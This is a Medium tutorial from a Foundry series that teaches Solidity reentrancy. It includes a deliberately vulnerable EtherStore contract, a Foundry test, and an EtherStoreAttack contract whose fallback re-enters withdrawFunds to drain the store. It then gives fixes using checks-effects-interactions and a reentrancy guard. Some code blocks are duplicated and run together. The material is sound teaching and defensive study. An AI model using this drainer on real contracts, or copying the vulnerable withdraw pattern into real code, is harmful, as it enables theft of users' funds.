Foundry V- Reentrancy

Solidity Programming Language
3 min readOct 28, 2022

Code: here Thanks ahmet and murat

pragma solidity ^0.7.6;

import “forge-std/Test.sol”;

EtherStore

contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");balances[msg.sender] -= _weiToWithdraw;}}

ContractTest

contract ContractTest is Test {EtherStore store;EtherStoreAttack attack;
function setUp() public {store = new EtherStore();attack = new EtherStoreAttack(address(store));vm.deal(address(store), 2 ether);vm.deal(address(attack), 1 ether);}function testReentrancy() public {attack.Attack(); // exploit here}}

EtherStoreAttack

contract EtherStoreAttack is DSTest {EtherStore store;constructor(address _store) public {store = EtherStore(_store);}function Attack() public {emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Start attack, Attacker balance:", address(this).balance, 18);
store.deposit{value: 1 ether}();emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);emit log_string("==================== Start of attack ====================");store.withdrawFunds(1 ether); // exploit hereemit log_string("==================== End of attack ====================");emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);}fallback() external payable {emit log_named_decimal_uint("EtherStore balance", address(store).balance, 18);emit log_named_decimal_uint("Attacker balance", address(this).balance, 18);if (address(store).balance >= 1 ether) {emit log_string("Reenter");store.withdrawFunds(1 ether); // exploit here}}
EtherStore store;EtherStoreAttack attack;function setUp() public {store = new EtherStore();attack = new EtherStoreAttack(address(store));vm.deal(address(store), 2 ether);vm.deal(address(attack), 1 ether);}function Attack() public {emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Start attack, Attacker balance:", address(this).balance, 18);
store.deposit{value: 1 ether}();emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);emit log_string("==================== Start of attack ====================");store.withdrawFunds(1 ether);   // exploit hereemit log_string("==================== End of attack ====================");emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);}

HOW!

1- Attacker needs to deposit because withdraw function requires this balances[msg.sender] >= _weiToWithdraw

2-Attacker withdraws his money with the following function

function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");balances[msg.sender] -= _weiToWithdraw;}

Yes he can withdraw his money also this part redirects to fallback function

(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");

because this function needs to have msg.data in the (“”)

You can see fallback function takes the all the money

if (address(store).balance >= 1 ether) {emit log_string("Reenter");store.withdrawFunds(1 ether);   // exploit here}}

SOLUTIONS

1- Checks Effects Interactions

function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);balances[msg.sender] -= _weiToWithdraw;(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");}

2- Use ReentrancyGuard

bool locked; // create this boolen variable// create this modifiermodifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
// add this modifier to withdrawFundsfunction withdrawFunds(uint256 _weiToWithdraw) public nonReentrant{

Foundry I

Foundry II

Foundry III

Foundry IV

Foundry V

Foundry VI

Associate Professor Engin YILMAZ (VeriDelisi)

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Solidity Programming Language
Solidity Programming Language

Written by Solidity Programming Language

Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps

No responses yet

Write a response